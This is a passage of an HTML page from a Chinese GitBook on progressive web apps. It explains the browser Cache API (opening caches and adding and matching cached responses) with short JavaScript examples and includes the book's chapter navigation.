</a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >3.4 Cache API</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#cache-api\"><b></b>Cache API</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x517C;&#x5BB9;&#x6027;&#x68C0;&#x6D4B;\"><b></b>&#x517C;&#x5BB9;&#x6027;&#x68C0;&#x6D4B;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6253;&#x5F00;-cache-&#x5BF9;&#x8C61;\"><b></b>&#x6253;&#x5F00; Cache &#x5BF9;&#x8C61;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6DFB;&#x52A0;&#x7F13;&#x5B58;\"><b></b>&#x6DFB;&#x52A0;&#x7F13;&#x5B58;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#cacheputrequest-response\"><b></b>Cache.put(request, response)</a></li><li><span class=\"title-icon \"></span><a href=\"#cacheaddrequest-&#x548C;-cacheaddallrequests\"><b></b>Cache.add(request) &#x548C; Cache.addAll(requests)</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x67E5;&#x627E;&#x7F13;&#x5B58;\"><b></b>&#x67E5;&#x627E;&#x7F13;&#x5B58;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x83B7;&#x53D6;&#x5339;&#x914D;&#x7684;&#x8BF7;&#x6C42;\"><b></b>&#x83B7;&#x53D6;&#x5339;&#x914D;&#x7684;&#x8BF7;&#x6C42;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x5220;&#x9664;&#x7F13;&#x5B58;\"><b></b>&#x5220;&#x9664;&#x7F13;&#x5B58;</a></li></ul></ul></div><a href=\"#cache-api\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"cache-api\"><a name=\"cache-api\" class=\"anchor-navigation-ex-anchor\" href=\"#cache-api\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"cache-api\" class=\"plugin-anchor\" href=\"#cache-api\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Cache API</h1>\n<p>&#x5728;&#x4E0A;&#x4E00;&#x8282; Fetch API &#x7684;&#x4ECB;&#x7ECD;&#x5F53;&#x4E2D;&#x63D0;&#x5230;&#xFF0C;Fetch API &#x63D0;&#x4F9B;&#x4E86; Request&#x3001;Response &#x7B49;&#x504F;&#x5E95;&#x5C42;&#x7684;&#x7C7B;&#x5BF9;&#x8C61;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x80FD;&#x591F;&#x4EE5;&#x7EDF;&#x4E00;&#x7684;&#x5F62;&#x5F0F;&#x5C06;&#x8D44;&#x6E90;&#x7684;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x8FC7;&#x7A0B;&#x5E94;&#x7528;&#x5230;&#x66F4;&#x591A;&#x7684;&#x573A;&#x666F;&#x5F53;&#x4E2D;&#x3002;&#x672C;&#x8282;&#x6240;&#x4ECB;&#x7ECD;&#x7684; Cache API &#x5C31;&#x5C5E;&#x4E8E;&#x53E6;&#x4E00;&#x79CD;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x7684;&#x573A;&#x666F;&#xFF0C;Cache API &#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x7CFB;&#x5217;&#x65B9;&#x6CD5;&#x5B9E;&#x73B0;&#x4E86;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x5BF9;&#x8C61;&#x7684;&#x7F13;&#x5B58;&#x7BA1;&#x7406;&#xFF0C;&#x56E0;&#x6B64;&#x5B83;&#x53EF;&#x4EE5;&#x4F5C;&#x4E3A;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x7F13;&#x5B58;&#x4ED3;&#x5E93;&#xFF0C;&#x4E3A; Service Worker &#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x63D0;&#x4F9B;&#x57FA;&#x7840;&#x652F;&#x6301;&#x3002;</p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x5C06;&#x4ECB;&#x7ECD; Cache API &#x7684;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#x3002;</p>\n<h2 id=\"&#x517C;&#x5BB9;&#x6027;&#x68C0;&#x6D4B;\"><a name=\"&#x517C;&#x5BB9;&#x6027;&#x68C0;&#x6D4B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x517C;&#x5BB9;&#x6027;&#x68C0;&#x6D4B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x517C;&#x5BB9;&#x6027;&#x68C0;&#x6D4B;\" class=\"plugin-anchor\" href=\"#&#x517C;&#x5BB9;&#x6027;&#x68C0;&#x6D4B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x517C;&#x5BB9;&#x6027;&#x68C0;&#x6D4B;</h2>\n<p>&#x622A;&#x6B62;&#x672C;&#x4E66;&#x5B9A;&#x7A3F;&#x4E4B;&#x524D;&#xFF0C;&#x9664;&#x4E86; IE &#x4E4B;&#x5916;&#x51E0;&#x4E4E;&#x6240;&#x6709;&#x4E3B;&#x6D41;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x6700;&#x65B0;&#x7248;&#x672C;&#x90FD;&#x652F;&#x6301;&#x4E86; Cache API&#xFF0C;&#x4F46;&#x4FDD;&#x9669;&#x8D77;&#x89C1;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5728;&#x4E3B;&#x7EBF;&#x7A0B;&#x6216;&#x8005; Worker &#x7EBF;&#x7A0B;&#x4E2D;&#x901A;&#x8FC7;&#x5224;&#x65AD;&#x5168;&#x5C40;&#x53D8;&#x91CF; <code>caches</code> &#x662F;&#x5426;&#x5B58;&#x5728;&#x6765;&#x68C0;&#x6D4B;&#x6D4F;&#x89C8;&#x5668;&#x662F;&#x5426;&#x652F;&#x6301; Cache API&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token string\">&apos;caches&apos;</span> <span class=\"token keyword\">in</span> self<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x5F53;&#x524D;&#x73AF;&#x5883;&#x652F;&#x6301; Cache API&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h2 id=\"&#x6253;&#x5F00;-cache-&#x5BF9;&#x8C61;\"><a name=\"&#x6253;&#x5F00;-cache-&#x5BF9;&#x8C61;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6253;&#x5F00;-cache-&#x5BF9;&#x8C61;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6253;&#x5F00;-cache-&#x5BF9;&#x8C61;\" class=\"plugin-anchor\" href=\"#&#x6253;&#x5F00;-cache-&#x5BF9;&#x8C61;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6253;&#x5F00; Cache &#x5BF9;&#x8C61;</h2>\n<p>&#x901A;&#x8FC7; <code>caches.open()</code> &#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x6253;&#x5F00;&#x4E00;&#x4E2A; Cache &#x5BF9;&#x8C61;&#xFF0C;&#x5176;&#x8BED;&#x6CD5;&#x4E3A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span>cacheName<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">cache</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token comment\">/* &#x83B7;&#x5F97; Cache &#x5BF9;&#x8C61; */</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5176;&#x4E2D;&#x53C2;&#x6570; cacheName &#x8868;&#x793A;&#x8981;&#x6253;&#x5F00;&#x7684; Cache &#x5BF9;&#x8C61;&#x7684;&#x540D;&#x79F0;&#x3002;&#x8BE5;&#x65B9;&#x6CD5;&#x662F;&#x5F02;&#x6B65;&#x65B9;&#x6CD5;&#xFF0C;&#x8FD4;&#x56DE;&#x7684; Promise &#x5BF9;&#x8C61;&#x5728; resolve &#x65F6;&#x4F1A;&#x8FD4;&#x56DE;&#x6210;&#x529F;&#x6253;&#x5F00;&#x7684; Cache &#x5BF9;&#x8C61;&#x3002;&#x6253;&#x5F00; Chrome &#x5F00;&#x53D1;&#x8005;&#x5DE5;&#x5177;&#xFF0C;&#x5207;&#x6362;&#x5230; Application - Cache Storage &#x9009;&#x9879;&#x5361;&#x53EF;&#x4EE5;&#x89C2;&#x5BDF;&#x5230;&#xFF0C;&#x5728;&#x6267;&#x884C; <code>caches.open()</code> &#x65B9;&#x6CD5;&#x65F6;&#xFF0C;&#x4F1A;&#x5728; Cache Storage &#x4E0B;&#x8FB9;&#x5EFA;&#x7ACB;&#x540C;&#x540D;&#x4ED3;&#x5E93;&#xFF0C;&#x6BCF;&#x4E2A;&#x4ED3;&#x5E93;&#x91CC;&#x9762;&#x7684;&#x5185;&#x5BB9;&#x5C31;&#x662F;&#x64CD;&#x4F5C;&#x5BF9;&#x5E94;&#x7684; Cache &#x5BF9;&#x8C61;&#x540E;&#x5199;&#x5165;&#x7684;&#x8D44;&#x6E90;&#x7F13;&#x5B58;&#x3002;</p>\n<p><img src=\"img/caches-open.png\" alt=\"Cache Storage &#x6839;&#x636E;&#x540D;&#x79F0;&#x65B0;&#x5EFA;&#x4ED3;&#x5E93;\"></p>\n<h2 id=\"&#x6DFB;&#x52A0;&#x7F13;&#x5B58;\"><a name=\"&#x6DFB;&#x52A0;&#x7F13;&#x5B58;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6DFB;&#x52A0;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6DFB;&#x52A0;&#x7F13;&#x5B58;\" class=\"plugin-anchor\" href=\"#&#x6DFB;&#x52A0;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6DFB;&#x52A0;&#x7F13;&#x5B58;</h2>\n<p>Cache &#x5BF9;&#x8C61;&#x63D0;&#x4F9B;&#x4E86; <code>put()</code>&#x3001;<code>add()</code>&#x3001;<code>addAll()</code> &#x4E09;&#x4E2A;&#x65B9;&#x6CD5;&#x6765;&#x6DFB;&#x52A0;&#x6216;&#x8005;&#x8986;&#x76D6;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x7F13;&#x5B58;&#x3002;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x8FD9;&#x4E9B;&#x6DFB;&#x52A0;&#x7F13;&#x5B58;&#x7684;&#x65B9;&#x6CD5;&#x53EA;&#x4F1A;&#x5BF9; GET &#x8BF7;&#x6C42;&#x8D77;&#x4F5C;&#x7528;&#x3002;</p>\n<h3 id=\"cacheputrequest-response\"><a name=\"cacheputrequest-response\" class=\"anchor-navigation-ex-anchor\" href=\"#cacheputrequest-response\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"cacheputrequest-response\" class=\"plugin-anchor\" href=\"#cacheputrequest-response\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Cache.put(request, response)</h3>\n<p>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x5728;&#x901A;&#x8FC7; Cache API &#x8FDB;&#x884C;&#x5B58;&#x50A8;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4F1A;&#x4EE5;&#x8BF7;&#x6C42;&#x7684; Request &#x5BF9;&#x8C61;&#x4F5C;&#x4E3A;&#x952E;&#xFF0C;&#x54CD;&#x5E94;&#x7684; Response &#x5BF9;&#x8C61;&#x4F5C;&#x4E3A;&#x503C;&#xFF0C;&#x56E0;&#x6B64; <code>put()</code> &#x65B9;&#x6CD5;&#x9700;&#x8981;&#x4F9D;&#x6B21;&#x4F20;&#x5165;&#x8D44;&#x6E90;&#x7684;&#x8BF7;&#x6C42;&#x548C;&#x54CD;&#x5E94;&#x5BF9;&#x8C61;&#xFF0C;&#x7136;&#x540E;&#x751F;&#x6210;&#x952E;&#x503C;&#x5BF9;&#x5E76;&#x7F13;&#x5B58;&#x8D77;&#x6765;&#x3002;&#x4E0B;&#x9762;&#x4E3E;&#x4F8B;&#x8BF4;&#x660E;&#x5B83;&#x7684;&#x4F7F;&#x7528;&#x65B9;&#x6CD5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x5047;&#x8BBE; cache &#x7531; caches.open(&apos;v1&apos;) &#x6253;&#x5F00;</span>\ncache<span class=\"token punctuation\">.</span><span class=\"token function\">put</span><span class=\"token punctuation\">(</span>\n  <span class=\"token keyword\">new</span> <span class=\"token class-name\">Request</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.json&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n  <span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token constant\">JSON</span><span class=\"token punctuation\">.</span><span class=\"token function\">stringify</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;lilei&apos;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#x5C31;&#x7ED9; v1 &#x4ED3;&#x5E93;&#x5199;&#x5165;&#x4E86; &apos;/data.json&apos; &#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x7684;&#x7F13;&#x5B58;&#x3002;&#x901A;&#x8FC7;&#x5F00;&#x53D1;&#x8005;&#x5DE5;&#x5177;&#x53EF;&#x4EE5;&#x660E;&#x663E;&#x5730;&#x770B;&#x5230;&#x4ED3;&#x5E93;&#x5F53;&#x4E2D;&#x65B0;&#x589E;&#x7684;&#x7F13;&#x5B58;&#x6761;&#x76EE;&#x4FE1;&#x606F;&#xFF1A;</p>\n<p><img src=\"img/cache-put.png\" alt=\"&#x901A;&#x8FC7; Cache.put() &#x65B9;&#x6CD5;&#x6DFB;&#x52A0;&#x7F13;&#x5B58;\"></p>\n<p>&#x540C;&#x6837;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x7ED3;&#x5408; Fetch API &#x6765;&#x83B7;&#x53D6;&#x5E76;&#x5B58;&#x50A8;&#x670D;&#x52A1;&#x7AEF;&#x6240;&#x8FD4;&#x56DE;&#x7684;&#x8D44;&#x6E90;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token function\">fetch</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.json&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>response<span class=\"token punctuation\">.</span>ok<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    cache<span class=\"token punctuation\">.</span><span class=\"token function\">put</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Request</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.json&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> response<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728; Fetch API &#x7684;&#x7AE0;&#x8282;&#x4E2D;&#x4ECB;&#x7ECD;&#x4E86; Request &#x548C; Response &#x90FD;&#x57FA;&#x4E8E;&#x6570;&#x636E;&#x6D41;&#x5B9E;&#x73B0;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x8FDB;&#x884C;&#x7F13;&#x5B58;&#x7684;&#x65F6;&#x5019;&#x9700;&#x8981;&#x683C;&#x5916;&#x7559;&#x610F; Response &#x5BF9;&#x8C61;&#x7684;&#x54CD;&#x5E94;&#x4F53;&#x6570;&#x636E;&#x662F;&#x5426;&#x5DF2;&#x7ECF;&#x88AB;&#x8BFB;&#x53D6;&#x3002;</p>\n<h3 id=\"cacheaddrequest-&#x548C;-cacheaddallrequests\"><a name=\"cacheaddrequest-&#x548C;-cacheaddallrequests\" class=\"anchor-navigation-ex-anchor\" href=\"#cacheaddrequest-&#x548C;-cacheaddallrequests\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"cacheaddrequest-&#x548C;-cacheaddallrequests\" class=\"plugin-anchor\" href=\"#cacheaddrequest-&#x548C;-cacheaddallrequests\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Cache.add(request) &#x548C; Cache.addAll(requests)</h3>\n<p><code>add()</code> &#x548C;  <code>addAll()</code> &#x65B9;&#x6CD5;&#x7684;&#x529F;&#x80FD;&#x7C7B;&#x4F3C;&#x4E8E; Fetch API &#x7ED3;&#x5408; <code>put()</code> &#x65B9;&#x6CD5;&#x5B9E;&#x73B0;&#x5BF9;&#x670D;&#x52A1;&#x7AEF;&#x8D44;&#x6E90;&#x7684;&#x6293;&#x53D6;&#x548C;&#x7F13;&#x5B58;&#x3002;<code>add()</code> &#x548C; <code>addAll()</code> &#x7684;&#x533A;&#x522B;&#x5728;&#x4E8E;&#xFF0C;<code>add()</code> &#x53EA;&#x80FD;&#x8BF7;&#x6C42;&#x548C;&#x7F13;&#x5B58;&#x4E00;&#x4E2A;&#x8D44;&#x6E90;&#xFF0C;&#x800C; <code>addAll()</code> &#x80FD;&#x591F;&#x6293;&#x53D6;&#x5E76;&#x7F13;&#x5B58;&#x591A;&#x4E2A;&#x8D44;&#x6E90;&#x3002;&#x6709;&#x4E86;&#x8FD9;&#x4E24;&#x4E2A;&#x65B9;&#x6CD5;&#xFF0C;&#x7F13;&#x5B58;&#x670D;&#x52A1;&#x7AEF;&#x8D44;&#x6E90;&#x5C06;&#x53D8;&#x5F97;&#x66F4;&#x4E3A;&#x7B80;&#x5355;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\">cache<span class=\"token punctuation\">.</span><span class=\"token function\">add</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.json&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token comment\">/* &#x7F13;&#x5B58;&#x6210;&#x529F; */</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\ncache<span class=\"token punctuation\">.</span><span class=\"token function\">addAll</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>\n  <span class=\"token string\">&apos;/data.json&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token string\">&apos;/info.txt&apos;</span>\n<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token comment\">/* &#x7F13;&#x5B58;&#x6210;&#x529F; */</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p><code>add()</code> &#x548C; <code>addAll()</code> &#x65B9;&#x6CD5;&#x4F1A;&#x7F13;&#x5B58; Response.ok &#x4E3A; true &#x7684;&#x54CD;&#x5E94;&#x3002;&#x540C;&#x65F6;&#x8BF7;&#x6C42;&#x8DE8;&#x57DF;&#x8D44;&#x6E90;&#x8FD4;&#x56DE;&#x4E86;&#x4E0D;&#x900F;&#x660E;&#x7684; Response &#x5BF9;&#x8C61;&#xFF0C;&#x540C;&#x6837;&#x4E5F;&#x4F1A;&#x7F13;&#x5B58;&#x4E0B;&#x6765;&#x3002;</p>\n<h2 id=\"&#x67E5;&#x627E;&#x7F13;&#x5B58;\"><a name=\"&#x67E5;&#x627E;&#x7F13;&#x5B58;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x67E5;&#x627E;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x67E5;&#x627E;&#x7F13;&#x5B58;\" class=\"plugin-anchor\" href=\"#&#x67E5;&#x627E;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x67E5;&#x627E;&#x7F13;&#x5B58;</h2>\n<p><code>cache.match()</code> &#x548C; <code>cache.matchAll()</code> &#x53EF;&#x4EE5;&#x5B9E;&#x73B0;&#x5BF9;&#x7F13;&#x5B58;&#x7684;&#x67E5;&#x627E;&#x3002;&#x5176;&#x4E2D; <code>match()</code> &#x4F1A;&#x8FD4;&#x56DE;&#x7B2C;&#x4E00;&#x4E2A;&#x5339;&#x914D;&#x6761;&#x4EF6;&#x7684;&#x7F13;&#x5B58;&#x7ED3;&#x679C;&#xFF0C;&#x800C; <code>matchAll()</code> &#x5219;&#x4F1A;&#x8FD4;&#x56DE;&#x6240;&#x6709;&#x6EE1;&#x8DB3;&#x5339;&#x914D;&#x6761;&#x4EF6;&#x7684;&#x7F13;&#x5B58;&#x7ED3;&#x679C;&#x3002;&#x4E0B;&#x9762;&#x4E3E;&#x4F8B;&#x8BF4;&#x660E;&#x5982;&#x4F55;&#x67E5;&#x627E;&#x201C;/data.json&#x201D;&#x7684;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#xFF0C;&#x76F8;&#x5173;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x4F7F;&#x7528; match() &#x8FDB;&#x884C;&#x67E5;&#x627E;</span>\ncache<span class=\"token punctuation\">.</span><span class=\"token function\">match</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.json&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>response <span class=\"token operator\">==</span> <span class=\"token keyword\">null</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x6CA1;&#x6709;&#x5339;&#x914D;&#x5230;&#x4EFB;&#x4F55;&#x8D44;&#x6E90;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x6210;&#x529F;&#x5339;&#x914D;&#x8D44;&#x6E90;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token comment\">// &#x4F7F;&#x7528; matchAll() &#x8FDB;&#x884C;&#x67E5;&#x627E;</span>\ncache<span class=\"token punctuation\">.</span><span class=\"token function\">matchAll</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;/data.json&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">responses</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span>responses<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x6CA1;&#x6709;&#x5339;&#x914D;&#x5230;&#x4EFB;&#x4F55;&#x8D44;&#x6E90;</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x6210;&#x529F;&#x5339;&#x914D;&#x5230;&#x8D44;&#x6E90;</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E0A;&#x8FF0;&#x67E5;&#x627E;&#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x4F20;&#x5165;&#x7B2C;&#x4E8C;&#x53C2;&#x6570;&#x6765;&#x63A7;&#x5236;&#x5339;&#x914D;&#x8FC7;&#x7A0B;&#xFF0C;&#x6BD4;&#x5982;&#x8BBE;&#x7F6E; ignoreSearch &#x53C2;&#x6570;&#xFF0C;&#x4F1A;&#x5728;&#x5339;&#x914D;&#x8FC7;&#x7A0B;&#x4E2D;&#x5FFD;&#x7565; URL &#x4E2D;&#x7684; Search &#x90E8;&#x5206;&#xFF0C;&#x4E0B;&#x9762;&#x901A;&#x8FC7;&#x4EE3;&#x7801;&#x4E3E;&#x4F8B;&#x8BF4;&#x660E;&#x8FD9;&#x4E00;&#x5339;&#x914D;&#x8FC7;&#x7A0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// 